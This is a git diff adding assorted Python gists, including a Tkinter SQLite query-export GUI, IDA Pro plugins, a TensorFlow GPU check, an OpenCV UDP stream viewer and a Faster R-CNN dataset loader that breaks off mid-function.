+		self.SelezioneBool('glob',1)
+		self.SelezioneBool('is not',1)
+		self.SelezioneBool('not ',1)
+		self.SelezioneBool('&',0)
+		self.SelezioneBool('|',0)
+		self.SelezioneBool('~',0)
+		self.SelezioneBool('>>',0)
+		self.SelezioneBool('<<',0)
+		
+		# OPTION __________________________________________________________________________
+		self.SelezioneOption('order by')
+		self.SelezioneOption(' table ')
+		self.SelezioneOption('distinct')
+		self.SelezioneOption('database')
+		self.SelezioneOption(' as ')
+		self.SelezioneOption(' limit')
+		self.SelezioneOption('offset')
+		self.SelezioneOption('group by')
+		self.SelezioneOption('index by')
+	# ______________________________________________________________ fine highlight
+		
+		
+	def SelezioneComandi(self, TagTag):
+		self.t1.tag_configure("keyword", foreground="#229954", font=('arial black', 10))
+		# self.t1.tag_remove("keyword", "1.0", "end")
+		count = IntVar()
+		countfrom = IntVar()
+		self.t1.mark_set("matchStart", "1.0")
+		self.t1.mark_set("matchEnd", "1.0")
+		while True:
+			index = self.t1.search(TagTag, "matchEnd","end", count=count)
+			if (index == ""): break # no match was found
+			self.t1.mark_set("matchStart", index)
+			self.t1.mark_set("matchEnd", "%s+%sc" % (index, count.get()))
+			self.t1.tag_add("keyword", "matchStart", "matchEnd")
+		
+		count = IntVar()
+		countfrom = IntVar()
+		self.t1.mark_set("matchStart", "1.0")
+		self.t1.mark_set("matchEnd", "1.0")
+		while True:
+			index = self.t1.search(TagTag.upper(), "matchEnd","end", count=count)
+			if (index == ""): break # no match was found
+			self.t1.mark_set("matchStart", index)
+			self.t1.mark_set("matchEnd", "%s+%sc" % (index, count.get()))
+			self.t1.tag_add("keyword", "matchStart", "matchEnd")
+	# ______________________________________________________________ fine SelezioneComandi
+	
+	def SelezioneBool(self, TagTag, upper):
+		self.t1.tag_configure("keywordBool", foreground="#f1c40f", font=('arial black', 10))
+		# self.t1.tag_remove("keywordBool", "1.0", "end")
+		count = IntVar()
+		countfrom = IntVar()
+		self.t1.mark_set("matchStart", "1.0")
+		self.t1.mark_set("matchEnd", "1.0")
+		while True:
+			index = self.t1.search(TagTag, "matchEnd","end", count=count)
+			if (index == ""): break # no match was found
+			self.t1.mark_set("matchStart", index)
+			self.t1.mark_set("matchEnd", "%s+%sc" % (index, count.get()))
+			self.t1.tag_add("keywordBool", "matchStart", "matchEnd")
+		
+		if (upper == 1):
+			count = IntVar()
+			countfrom = IntVar()
+			self.t1.mark_set("matchStart", "1.0")
+			self.t1.mark_set("matchEnd", "1.0")
+			while True:
+				index = self.t1.search(TagTag.upper(), "matchEnd","end", count=count)
+				if (index == ""): break # no match was found
+				self.t1.mark_set("matchStart", index)
+				self.t1.mark_set("matchEnd", "%s+%sc" % (index, count.get()))
+				self.t1.tag_add("keywordBool", "matchStart", "matchEnd")
+	# ______________________________________________________________ fine SelezioneBool
+			
+	def SelezioneOption(self, TagTag):
+		self.t1.tag_configure("keywordOpt", foreground="#1A5276", font=('arial black', 10))
+		# self.t1.tag_remove("keywordOpt", "1.0", "end")
+		count = IntVar()
+		countfrom = IntVar()
+		self.t1.mark_set("matchStart", "1.0")
+		self.t1.mark_set("matchEnd", "1.0")
+		while True:
+			index = self.t1.search(TagTag, "matchEnd","end", count=count)
+			if (index == ""): break # no match was found
+			self.t1.mark_set("matchStart", index)
+			self.t1.mark_set("matchEnd", "%s+%sc" % (index, count.get()))
+			self.t1.tag_add("keywordOpt", "matchStart", "matchEnd")
+		
+		count = IntVar()
+		countfrom = IntVar()
+		self.t1.mark_set("matchStart", "1.0")
+		self.t1.mark_set("matchEnd", "1.0")
+		while True:
+			index = self.t1.search(TagTag.upper(), "matchEnd","end", count=count)
+			if (index == ""): break # no match was found
+			self.t1.mark_set("matchStart", index)
+			self.t1.mark_set("matchEnd", "%s+%sc" % (index, count.get()))
+			self.t1.tag_add("keywordOpt", "matchStart", "matchEnd")
+	# ______________________________________________________________ fine SelezioneOption
+			
+
+	def Reader(self):
+		if(os.path.isfile(self.e1.get())==False):	#Controllo esistenza
+			Ext_Func.FilExist(self.e1.get())
+			return
+			
+		Q_H = Ext_Func.ObtainHQ(self.e1.get(), self.t1.get('1.0', END))
+		if(Q_H==000):
+			return
+			
+		db = sqlite3.connect(self.e1.get())	# DB su cui fare la query, b = EXEL su cui inserire la query, c = query
+		dbc = db.cursor()
+		print('DATABASE : ' + self.e1.get())
+		print('Lettura della query . . .')
+		try:
+			dbc.execute(self.t1.get('1.0', END))
+		except:
+			print('Error: Query failed!')
+			messagebox.showerror('ERROR', 'Query Failed!')
+			return
+		QUERY = dbc.fetchall()
+		db.close()
+
+		root2=Toplevel()
+		container = Frame(root2)
+		container.pack(fill='both', expand=True)
+	
+		tree = ttk.Treeview(container, columns=Q_H, show="headings")
+		vsb = ttk.Scrollbar(container, orient="vertical", command=tree.yview)
+		tree.configure(yscrollcommand=vsb.set)
+		vsb2 = ttk.Scrollbar(container, orient="horizontal", command=tree.xview)
+		tree.configure(xscrollcommand=vsb2.set)
+		container.grid_columnconfigure(0, weight=1)
+		container.grid_rowconfigure(0, weight=1)
+		tree.grid(row=0, column=0, sticky="nwse")
+		vsb.grid(row=0, column=1, sticky="nwse")
+		vsb2.grid(row=1, column=0, sticky="nwse")
+
+		for col in Q_H:
+			tree.heading(col, text=col.title())
+		for item in QUERY:
+			tree.insert('', 'end', values=item)
+	# ______________________________________________________________ fine Reader
+			
+	def BrowserFile(self):
+		fileini = askopenfilename(	initialdir=0,
+									filetypes =(("Database file", "*.db3"),("Database file", "*.db"),), title = "Choose a database file.")
+		self.e1.delete(0, END)
+		self.e1.insert(0, fileini.replace("/", "\\"))
+	# ______________________________________________________________ fine BrowserFile
+	
+	def Save(self):
+		fileini = asksaveasfilename(	initialdir=0,
+									filetypes =(("Excel","*.xlsx"),
+												("Text", "*.txt")), 
+									title = "Choose a file for save the query",
+									defaultextension='.txt;.xlsx')					
+		filename, file_extension = os.path.splitext(fileini)
+		
+		a = self.e1.get()	# db
+		c = filename + file_extension	#nome del file completo di estensione output
+		b = self.t1.get('1.0', END)	# query
+		db = sqlite3.connect(a)	# a = DB su cui fare la query, b = EXEL su cui inserire la query, c = query
+		dbc = db.cursor()
+		
+		print('DATABASE : ' + a + '\n')
+		print('Export della query in corso . . .')
+
+		try:
+			dbc.execute(b)
+		except:
+			print('Error: Query failed!')
+			messagebox.showerror('ERROR', 'Query Failed!')
+			return
+		QUERY_First = dbc.fetchall()
+		Q_H = Ext_Func.ObtainHQ(a, b)
+		QUERY = [tuple(Q_H)] + QUERY_First
+		
+		if (file_extension == '.xlsx'):
+			MyFile = Workbook()
+			ws1 = MyFile.active
+			ws1.title = os.path.basename(filename)
+			
+			CountLine = 1
+			for row in QUERY:
+				CountCel = 1
+				for parameter in row:
+					ws1.cell(column=CountCel, row=CountLine, value="{0}".format(parameter))
+					CountCel = CountCel + 1
+				CountLine = CountLine + 1
+			MyFile.save(c)
+
+		elif(file_extension == '.txt'):
+			# apertura del file
+			filedascrivere = open(c, 'w')
+			
+			counter=0
+			for row in QUERY:
+				if not (counter==0):
+					filedascrivere.write('\n')
+					
+				else:
+					counter+=1
+					
+				for parameter in row:
+					filedascrivere.write(str(parameter) + '\t')
+			filedascrivere.close()
+
+		print('Termine della query')
+		db.commit()
+		db.close()
+	# ______________________________________________________________ fine Save
+# termine di ExportQ_GUI ______________________________________________________________
+
+		
+
+
+
+
+
+
+
+root = Tk()
+My_GUI = ExportQ_GUI(root)
+root.mainloop()
\ No newline at end of file
diff --git a/hard-gists/b5952c36b36b877adcb0495163678675/._snippet.py b/hard-gists/b5952c36b36b877adcb0495163678675/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b5952c36b36b877adcb0495163678675/._snippet.py differ
diff --git a/hard-gists/b5952c36b36b877adcb0495163678675/snippet.py b/hard-gists/b5952c36b36b877adcb0495163678675/snippet.py
new file mode 100644
index 00000000..3fa8cff6
--- /dev/null
+++ b/hard-gists/b5952c36b36b877adcb0495163678675/snippet.py
@@ -0,0 +1,24 @@
+from inspect import signature
+
+def auto_args(f):
+    sig = signature(f)  # Get a signature object for the target:
+    def replacement(self, *args, **kwargs):
+        # Parse the provided arguments using the target's signature:
+        bound_args = sig.bind(self, *args, **kwargs)
+        # Save away the arguments on `self`:
+        for k, v in bound_args.arguments.items():
+            if k != 'self':
+                setattr(self, k, v)
+        # Call the actual constructor for anything else:
+        f(self, *args, **kwargs)
+    return replacement
+
+
+class MyClass:
+    @auto_args
+    def __init__(self, a, b, c=None):
+        pass
+
+m = MyClass('A', 'B', 'C')
+print(m.__dict__)
+# {'a': 'A', 'b': 'B', 'c': 'C'}
\ No newline at end of file
diff --git a/hard-gists/b59679e31dbdb01064d6bceb827ed88b/._snippet.py b/hard-gists/b59679e31dbdb01064d6bceb827ed88b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b59679e31dbdb01064d6bceb827ed88b/._snippet.py differ
diff --git a/hard-gists/b59679e31dbdb01064d6bceb827ed88b/snippet.py b/hard-gists/b59679e31dbdb01064d6bceb827ed88b/snippet.py
new file mode 100644
index 00000000..b7f780d5
--- /dev/null
+++ b/hard-gists/b59679e31dbdb01064d6bceb827ed88b/snippet.py
@@ -0,0 +1,47 @@
+import idaapi
+import idc
+
+
+class HexJumpHandler(idaapi.action_handler_t):
+    def activate(self, ctx):
+        selection = idaapi.read_selection()
+        valid_selection = selection[0]
+        if (valid_selection):
+            addr = idc.DbgDword(selection[1])
+            idaapi.jumpto(addr)
+        else:
+            idaapi.msg("Invalid selection!\n")
+
+    def update(self, ctx):
+        return idaapi.AST_ENABLE_ALWAYS
+
+
+class HexJumpHooks(idaapi.UI_Hooks):
+    def finish_populating_tform_popup(self, form, popup):
+        if idaapi.get_tform_type(form) == idaapi.BWN_DUMP:
+            desc = idaapi.action_desc_t(None, 'Follow in hex dump', HexJumpHandler())
+            idaapi.attach_dynamic_action_to_popup(form, popup, desc, None)
+
+
+class HexJump(idaapi.plugin_t):
+    flags = idaapi.PLUGIN_KEEP
+    comment = "Easily follow DWORD addresses within hex dump"
+    help = "Highlight DWORD address within hex dump and right-click 'Follow in hex dump'"
+    wanted_name = "HexJump"
+    wanted_hotkey = ""
+
+    def init(self):
+        global hooks
+        hooks = HexJumpHooks()
+        re = hooks.hook()
+        return idaapi.PLUGIN_OK
+
+    def run(self, arg):
+        pass
+
+    def term(self):
+        pass
+
+
+def PLUGIN_ENTRY():
+    return HexJump()
diff --git a/hard-gists/b5b2c4be45437992df58a7dd13dbafa7/._snippet.py b/hard-gists/b5b2c4be45437992df58a7dd13dbafa7/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b5b2c4be45437992df58a7dd13dbafa7/._snippet.py differ
diff --git a/hard-gists/b5b2c4be45437992df58a7dd13dbafa7/snippet.py b/hard-gists/b5b2c4be45437992df58a7dd13dbafa7/snippet.py
new file mode 100644
index 00000000..66194ae7
--- /dev/null
+++ b/hard-gists/b5b2c4be45437992df58a7dd13dbafa7/snippet.py
@@ -0,0 +1,7 @@
+from tensorflow.python.client import device_lib
+
+def get_available_gpus():
+    local_device_protos = device_lib.list_local_devices()
+    return [x.name for x in local_device_protos if x.device_type == 'GPU']
+
+get_available_gpus()
\ No newline at end of file
diff --git a/hard-gists/b5d44b5c06172733d9edda4bcf9326b2/._snippet.py b/hard-gists/b5d44b5c06172733d9edda4bcf9326b2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b5d44b5c06172733d9edda4bcf9326b2/._snippet.py differ
diff --git a/hard-gists/b5d44b5c06172733d9edda4bcf9326b2/snippet.py b/hard-gists/b5d44b5c06172733d9edda4bcf9326b2/snippet.py
new file mode 100644
index 00000000..5a4519d9
--- /dev/null
+++ b/hard-gists/b5d44b5c06172733d9edda4bcf9326b2/snippet.py
@@ -0,0 +1,24 @@
+#!/bin/env python3
+#-*- encoding: utf-8 -*-
+
+import cv2
+import numpy as np
+
+# start this:
+# ffmpeg -i /dev/video0 -f mpegts udp://localhost:1337
+# ffmpeg -i rtsp://... -f mpegts udp://localhost:1337
+
+cameraCapture = cv2.VideoCapture('udp://localhost:1337')
+cv2.namedWindow('MyWindow')
+
+print('Showing camera feed. Click window or press any key to stop.')
+
+while True:
+    success, frame = cameraCapture.read()
+    cv2.imshow('MyWindow', frame)
+
+    if cv2.waitKey(1) & 0xff == ord("q"):
+        break
+
+cv2.destroyWindow('MyWindow')
+cameraCapture.release()
diff --git a/hard-gists/b5e7a80691ed5e44e7fea1964bae18dc/._snippet.py b/hard-gists/b5e7a80691ed5e44e7fea1964bae18dc/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b5e7a80691ed5e44e7fea1964bae18dc/._snippet.py differ
diff --git a/hard-gists/b5e7a80691ed5e44e7fea1964bae18dc/snippet.py b/hard-gists/b5e7a80691ed5e44e7fea1964bae18dc/snippet.py
new file mode 100644
index 00000000..1b9cdebb
--- /dev/null
+++ b/hard-gists/b5e7a80691ed5e44e7fea1964bae18dc/snippet.py
@@ -0,0 +1,369 @@
+'''
+example of:
+  - using ctypes with the IDA SDK
+  - providing custom UI hints with dynamic data from Python
+
+in this silly example, we display UI hints with the current timestamp.
+a more useful plugin might inspect the hovered line, and display some documentation.
+
+Author: Willi Ballenthin <william.ballenthin@fireeye.com>
+Licence: Apache 2.0
+'''
+import sys
+import ctypes
+
+import idc
+import idaapi
+import idautils
+
+
+def get_ida_ctypes():
+    '''
+    get the ida sdk dll.
+    
+    Args: None
+
+    Returns:
+      ctypes.CDLL: the IDA SDK DLL
+
+    via: http://www.hexblog.com/?p=695
+    '''
+    idaname = 'ida64' if __EA64__ else 'ida'
+    if sys.platform == 'win32':
+        return ctypes.windll[idaname + '.wll']
+    elif sys.platform == 'linux2':
+        return ctypes.cdll['lib' + idaname + '.so']
+    elif sys.platform == 'darwin':
+        return ctypes.cdll['lib' + idaname + '.dylib']
+    else:
+        raise RuntimeError('unknown platform: ' + sys.platform)
+
+
+c_long_p = ctypes.POINTER(ctypes.c_long)
+c_int_p = ctypes.POINTER(ctypes.c_int)
+c_char_pp = ctypes.POINTER(ctypes.c_char_p)
+    
+
+# ctypes declaration for the `hook_type_t` type.
+#
+# the idaapi calling convention is stdcall, so we use WINFUNCTYPE;
+#  it is *not* cdecl (ctypes.CFUNCTYPE).
+#
+# relevant idasdk documentation: 
+#
+#    typedef int idaapi hook_cb_t(
+#      void *user_data,
+#      int notification_code,
+#      va_list va);
+HookCb = ctypes.WINFUNCTYPE(
+    # return type
+    ctypes.c_int,      # int idaapi
+
+    # argument types
+    ctypes.c_void_p,   # void       *user_data
+    ctypes.c_int,      # int         notification_code
+    ctypes.c_void_p,   # va_list     va 
+)
+
+
+class HOOK_TYPES:
+    '''
+    types of events that be hooked to with hook_to_notification_point().
+    this corresponds to `hook_type_t`.
+    '''
+    # Hook to the processor module.
+    HT_IDP = 0
+
+    # Hook to the user interface.
+    HT_UI = 1
+
+    # Hook to the debugger.
+    HT_DBG = 2
+
+    # Hook to the database events.
+    HT_IDB = 3
+
+    # Internal debugger events.
+    HT_DEV = 4
+
+    # Custom/IDA views notifications.
+    HT_VIEW = 5
+
+    # Output window notifications.
+    HT_OUTPUT = 6
+
+    HT_LAST = 7
+
+
+def do_hook_to_notification_point(dll, hook_type, cb, user_data):
+    '''
+    register a callback for a class of events in IDA.
+    
+    Args:
+      dll (ctypes.CDLL): the IDA SDK DLL
+      hook_type (int): hook type from HOOK_TYPES enum
+      cb (HookCb): the callback to register
+      user_data (ctypes.c_void_p): context provided to callback when invoked
+    
+    Returns: None
+
+    relevant idasdk documentation: 
+
+        idaman bool ida_export 	
+        hook_to_notification_point (
+            hook_type_t hook_type,
+            hook_cb_t *cb,
+            void *user_data)
+   '''
+    
+    hook_to_notification_point = dll.hook_to_notification_point
+    hook_to_notification_point.argtypes = [
+        ctypes.c_int,      # hook_type_t hook_type
+        HookCb,            # hook_cb_t  *cb
+        ctypes.c_void_p,   # void       *user_data
+    ]
+
+    hook_to_notification_point(hook_type, cb, user_data)
+
+
+def do_unhook_from_notification_point(dll, hook_type, cb, user_data):
+    '''
+    unregister a callback.
+    
+    Args:
+      dll (ctypes.CDLL): the IDA SDK DLL
+      hook_type (int): hook type from HOOK_TYPES enum
+      cb (HookCb): the callback to register
+      user_data (ctypes.c_void_p): context provided to callback when invoked
+    
+    Returns: None
+
+    relevant idasdk documentation: 
+
+        idaman bool ida_export 	
+        unhook_from_notification_point (
+            hook_type_t hook_type,
+            hook_cb_t *cb,
+            void *user_data = NULL)
+   '''
+    
+    unhook_from_notification_point = dll.unhook_from_notification_point
+    unhook_from_notification_point.argtypes = [
+        ctypes.c_int,      # hook_type_t hook_type
+        HookCb,            # hook_cb_t  *cb
+        ctypes.c_void_p,   # void       *user_data
+    ]
+
+    unhook_from_notification_point(hook_type, cb, user_data)
+
+
+class UI_NOTIFICATIONS:
+
+    # get single line hint for the given address.
+    # this is *not* used for the disasm listing hover tooltips.
+    # this is used for nav bar hover tooltips.
+    # 
+    # relevant idasdk documentation: 
+    #
+    #     cb: ui wants to display a simple hint for an address.
+    #     Use this event to generate a custom hint
+    #     See also more generic ::ui_get_item_hint
+    #     \param ea       (::ea_t)
+    #     \param buf      (char *)
+    #     \param bufsize  (size_t)
+    #     \return true if generated a hint
+    UI_GET_EA_HINT = 79
+
+    # i'm not sure where this is called.
+    #
+    # relevant idasdk documentation: 
+    #
+    #     cb: ui wants to display multiline hint for an item.
+    #     See also more generic ::ui_get_custom_viewer_hint
+    #     \param ea (ea_t, or item id like a structure or enum member)
+    #     \param max_lines             (int) maximal number of lines
+    #     \param[out] important_lines  (int *) number of important lines. if zero, output is ignored
+    #     \param[out] hint             (::qstring *) the output string
+    #     \return true if generated a hint
+    UI_GET_ITEM_HINT = 80
+
+    # get multiple line hint for the given address
+    # this is invoked for at least the following views:
+    #   - disasm
+    #   - enums
+    #   - structures
+    # 
+    # relevant idasdk documentation: 
+    #
+    #     cb: ui wants to display a hint for a viewer (idaview or custom).
+    #     \param viewer (TCustomControl*) viewer
+    #     \param place                 (::place_t *) current position in the viewer
+    #     \param[out] important_lines  (int *) number of important lines.
+    #                                         if zero, the result is ignored
+    #     \param[out] hint             (::qstring *) the output string
+    #     \return true if generated a hint
+    UI_GET_CUSTOM_VIEWER_HINT = 91
+
+
+class DynHintsPlugin(idaapi.plugin_t):
+    flags = idaapi.PLUGIN_KEEP
+    comment = "Display dynamically-generated hints."
+
+    help = "Display dynamically-generated hints."
+    wanted_name = "DynHints"
+    wanted_hotkey = "Ctrl-]"
+
+    def init(self):
+        import datetime
+        self.dll = get_ida_ctypes()
+
+        # can't use a bound method as a callback (since `self` doesn't get provided)
+        #  so we'll create a closure that has access to `self`.
+        # 
+        # via: http://stackoverflow.com/a/7261524/87207
+        def cb(user_data, notification_code, va_list):
+            '''
+            example hook_cb_t function that handles custom viewer hints.
+
+            Args:
+              user_data (ctypes.c_void_p): context supplied to callback registration
+              notification_code (int): one of the UI_NOTIFICATIONS enum values
+              va_list (ctypes.c_void_p): varargs that must be manually parsed
+
+            Returns:
+              int: see notifiication code documentation for interpretation
+
+            Notes:
+              - This is a closure that expects to have 
+            '''
+
+            # this function is called *a lot*, so don't do any heavy lifting
+            #  until you know its the event you want.
+
+            # ctypes doesn't support varargs in callback functions.
+            # so, we need to parse the remaining arguments ourselves.
+            #
+            # on windows, varargs are sequential stack locations.
+            # so, lets access the members like an array of ints/pointers.
+            #
+            # WARNING: the following section that manually parses varargs is
+            #  probably architecture and platfrom dependent!
+            va_list = ctypes.cast(va_list, c_long_p)
+
+            if notification_code == UI_NOTIFICATIONS.UI_GET_EA_HINT:
+                # ea is just a number: 
+                #
+                #     typedef uint32 	ea_t
+                #
+                # via: https://www.hex-rays.com/products/ida/support/sdkdoc/pro_8h.html#a7b0aeaed04e477c02cf8ea3452002d1a
+                ea = va_list[0]
+                buf = ctypes.cast(va_list[1], ctypes.c_char_p)
+                bufsize = va_list[2]
+
+                print('ui_get_ea_hint:')
+                print('>.. notification code: %s' % (notification_code))
+                print('>.. ea: %s' % (hex(ea)))
+                print('>.. buf: %s' % (buf))
+                print('>.. bufsize: %s' % (hex(bufsize)))
+
+                the_hint = datetime.datetime.now().isoformat(' ')
+
+                self.dll.qstrncpy(buf, ctypes.c_char_p(the_hint), bufsize)
+                print('<.. buf: %s' % (buf))
+
+                return 1
+
+            elif notification_code == UI_NOTIFICATIONS.UI_GET_CUSTOM_VIEWER_HINT:
+                viewer = ctypes.cast(va_list[0], c_long_p)
+                place = ctypes.cast(va_list[1], c_long_p)
+                important_lines = ctypes.cast(va_list[2], c_long_p)
+                hint = ctypes.cast(va_list[3], c_char_pp)
+
+                if not place:
+                    print('ui_get_custom_viewer_hint: invalid place')
+                    return 0
+
+                print('ui_get_custom_viewer_hint:')
+                print('>.. notification code: %s' % (notification_code))
+                print('>.. important lines: %s %s' % (important_lines, important_lines.contents))
+                print('>.. hint: %s %s' % (hint, hint.contents))
+
+                # so, we'd like to fetch the EA of the current view.
+                # ideally, we'd do:
+                #
+                #     ea = place.toea()
+                #
+                # but `place` is a raw c++ object pointer, and ctypes isn't that smart.
+                # next best would be to do something like:
+                #
+                #     place = self.dll.get_custom_viewer_place(viewer);
+                #
+                # however, this doesn't work because `get_custom_viewer_place` is not an exported routine.
+                # it seems to be part of the IDA SDK static lib to which plugins link.
+                #
+                # next best would be to use `idaapi.get_custom_viewer_place`:
+                #
+                #     place = idaapi.get_custom_viewer_place(viewer);
+                #
+                # but, this doesn't work because we're mixing a ctypes pointer with a swig function.
+                # so, we'll fall back to querying the current viewer, and fetching the place from there.
+
+                # let's only display for disassembly listings
+                #
+                # i only know how to test the view/form type using the `get_tform_type` function.
+                # therefore, we'll first query the current tform, and subsequently the current custom_viewer.
+                tform = idaapi.get_current_tform()
+                if idaapi.get_tform_type(tform) != idaapi.BWN_DISASM:
+                    return 0
+
+                viewer = idaapi.get_current_viewer()
+
+                # `place` is a tuple (though techincally, a list), with elements:
+                #  - place_t proxy
+                #  - x position in characters
+                #  - y position in characters from top of screen/form (-1 in graph view)
+                place, x, y = idaapi.get_custom_viewer_place(viewer, True)
+
+                the_hint = '0x%08X: %s' % (place.toea(), datetime.datetime.now().isoformat(' '))
+
+                important_lines[0] = ctypes.c_long(1)
+                # we don't have access to the qstring c++ class methods,
+                #  so we'll use a dummy routine to correctly set our qstring contents.
+                # `replace_tabs` assigns from a char * to a qstring *.
+                #
+                # relevant idasdk documentation: 
+                #
+                #    idaman THREAD_SAFE bool ida_export
+                #    replace_tabs (
+                #        qstring *out,
+                #        const char *str,
+                #        int tabsize)
+                self.dll.replace_tabs(hint, ctypes.c_char_p(the_hint), 4)
+
+                print('<.. important lines: %s %s' % (important_lines, important_lines.contents))
+                print('<.. hint: %s %s' % (hint, hint.contents))
+
+                return 1
+
+            return 0
+
+
+        # need to keep a ref around, or the function gets garbage collected
+        self.cb = HookCb(cb)
+
+        # need to keep a ref around, or the param gets garbage collected
+        self.ctx = ctypes.c_long(69)
+
+        return idaapi.PLUGIN_OK
+
+    def run(self, arg):
+        print('hints: run')
+        do_hook_to_notification_point(self.dll, HOOK_TYPES.HT_UI, self.cb, ctypes.byref(self.ctx))
+
+    def term(self):
+        print('hints: term')
+        do_unhook_from_notification_point(self.dll, HOOK_TYPES.HT_UI, self.cb, ctypes.byref(self.ctx))
+
+
+def PLUGIN_ENTRY():
+    return DynHintsPlugin()
diff --git a/hard-gists/b6460d1e3da5044ffff235403d16fed2/._snippet.py b/hard-gists/b6460d1e3da5044ffff235403d16fed2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b6460d1e3da5044ffff235403d16fed2/._snippet.py differ
diff --git a/hard-gists/b6460d1e3da5044ffff235403d16fed2/snippet.py b/hard-gists/b6460d1e3da5044ffff235403d16fed2/snippet.py
new file mode 100644
index 00000000..585e2c1b
--- /dev/null
+++ b/hard-gists/b6460d1e3da5044ffff235403d16fed2/snippet.py
@@ -0,0 +1,296 @@
+# Adapted the following lib/datasets/inria.py for py-faster-rcnn
+# https://github.com/zeyuanxy/fast-rcnn/blob/master/lib/datasets/inria.py
+
+# --------------------------------------------------------
+# Fast R-CNN
+# Copyright (c) 2015 Microsoft
+# Licensed under The MIT License [see LICENSE for details]
+# Written by Ross Girshick
+# --------------------------------------------------------
+
+import datasets
+import datasets.inria
+import os
+import datasets.imdb
+import xml.dom.minidom as minidom
+import numpy as np
+import scipy.sparse
+import scipy.io as sio
+import utils.cython_bbox
+import cPickle
+import subprocess
+
+class inria(datasets.imdb):
+    def __init__(self, image_set, devkit_path):
+        datasets.imdb.__init__(self, image_set)
+        self._image_set = image_set
+        self._devkit_path = devkit_path
+        self._data_path = os.path.join(self._devkit_path, 'data')
+        self._classes = ('__background__', # always index 0
+                         'person')
+        self._class_to_ind = dict(zip(self.classes, xrange(self.num_classes)))
+        self._image_ext = ['.jpg', '.png']
+        self._image_index = self._load_image_set_index()
+        # Default to roidb handler
+        self._roidb_handler = self.selective_search_roidb
+
+        # Specific config options
+        self.config = {'cleanup'  : True,
+                       'use_salt' : True,
+                       'top_k'    : 2000,
+                       'use_diff' : False,
+                       'rpn_file' : None}
+
+        assert os.path.exists(self._devkit_path), \
+                'Devkit path does not exist: {}'.format(self._devkit_path)
+        assert os.path.exists(self._data_path), \
+                'Path does not exist: {}'.format(self._data_path)
+
+    def image_path_at(self, i):
+        """
+        Return the absolute path to image i in the image sequence.
+        """
+        return self.image_path_from_index(self._image_index[i])
+
+    def image_path_from_index(self, index):
+        """
+        Construct an image path from the image's "index" identifier.
+        """
+        for ext in self._image_ext:
+            image_path = os.path.join(self._data_path, 'Images',
+                                  index + ext)
+            if os.path.exists(image_path):
+                break
+        assert os.path.exists(image_path), \
+                'Path does not exist: {}'.format(image_path)
+	return image_path
+
+    def _load_image_set_index(self):
+        """
+        Load the indexes listed in this dataset's image set file.
+        """
+        # Example path to image set file:
+        # self._data_path + /ImageSets/val.txt
+        image_set_file = os.path.join(self._data_path, 'ImageSets', 
+                                      self._image_set + '.txt')
+        assert os.path.exists(image_set_file), \
+                'Path does not exist: {}'.format(image_set_file)
+        with open(image_set_file) as f:
+            image_index = [x.strip() for x in f.readlines()]
+        return image_index
+
+    def gt_roidb(self):
+        """
+        Return the database of ground-truth regions of interest.
+
+        This function loads/saves from/to a cache file to speed up future calls.
+        """
+        cache_file = os.path.join(self.cache_path, self.name + '_gt_roidb.pkl')
+        if os.path.exists(cache_file):
+            with open(cache_file, 'rb') as fid:
+                roidb = cPickle.load(fid)
+            print '{} gt roidb loaded from {}'.format(self.name, cache_file)
+            return roidb
+
+        gt_roidb = [self._load_inria_annotation(index)
+                    for index in self.image_index]
+        with open(cache_file, 'wb') as fid:
+            cPickle.dump(gt_roidb, fid, cPickle.HIGHEST_PROTOCOL)
+        print 'wrote gt roidb to {}'.format(cache_file)
+
+        return gt_roidb
+
+    def selective_search_roidb(self):
+        """
+        Return the database of selective search regions of interest.
+        Ground-truth ROIs are also included.
+
+        This function loads/saves from/to a cache file to speed up future calls.
+        """
+        cache_file = os.path.join(self.cache_path,
+                                  self.name + '_selective_search_roidb.pkl')
+
+        if os.path.exists(cache_file):
+            with open(cache_file, 'rb') as fid:
+                roidb = cPickle.load(fid)
+            print '{} ss roidb loaded from {}'.format(self.name, cache_file)
+            return roidb
+
+        if self._image_set != 'test':
+            gt_roidb = self.gt_roidb()
+            ss_roidb = self._load_selective_search_roidb(gt_roidb)
+            roidb = datasets.imdb.merge_roidbs(gt_roidb, ss_roidb)
+        else:
+            roidb = self._load_selective_search_roidb(None)
+            print len(roidb)
+	with open(cache_file, 'wb') as fid:
+            cPickle.dump(roidb, fid, cPickle.HIGHEST_PROTOCOL)
+        print 'wrote ss roidb to {}'.format(cache_file)
+
+        return roidb
+
+    def rpn_roidb(self):
+        gt_roidb = self.gt_roidb()
+        rpn_roidb = self._load_rpn_roidb(gt_roidb)
+        roidb = datasets.imdb.merge_roidbs(gt_roidb, rpn_roidb)
+        #roidb = self._load_rpn_roidb(None)
+        return roidb
+
+    def _load_rpn_roidb(self, gt_roidb):
+        filename = self.config['rpn_file']
+        print 'loading {}'.format(filename)
+        assert os.path.exists(filename), \
+               'rpn data not found at: {}'.format(filename)
+        with open(filename, 'rb') as f:
+            box_list = cPickle.load(f)
+        return self.create_roidb_from_box_list(box_list, gt_roidb)
+
+    def _load_selective_search_roidb(self, gt_roidb):
+        filename = os.path.abspath(os.path.join(self._devkit_path,
+                                                self.name + '.mat'))
+        assert os.path.exists(filename), \
+               'Selective search data not found at: {}'.format(filename)
+	raw_data = sio.loadmat(filename)['all_boxes'].ravel()
+
+        box_list = []
+        for i in xrange(raw_data.shape[0]):
+            box_list.append(raw_data[i][:, (1, 0, 3, 2)] - 1)
+
+	return self.create_roidb_from_box_list(box_list, gt_roidb)
+
+    def selective_search_IJCV_roidb(self):
+        """
+        eturn the database of selective search regions of interest.
+        Ground-truth ROIs are also included.
+
+        This function loads/saves from/to a cache file to speed up future calls.
+        """
+        cache_file = os.path.join(self.cache_path,
+                '{:s}_selective_search_IJCV_top_{:d}_roidb.pkl'.
+                format(self.name, self.config['top_k']))
+
+        if os.path.exists(cache_file):
+            with open(cache_file, 'rb') as fid:
+                roidb = cPickle.load(fid)
+            print '{} ss roidb loaded from {}'.format(self.name, cache_file)
+            return roidb
+
+        gt_roidb = self.gt_roidb()
+        ss_roidb = self._load_selective_search_IJCV_roidb(gt_roidb)
+        roidb = datasets.imdb.merge_roidbs(gt_roidb, ss_roidb)
+        with open(cache_file, 'wb') as fid:
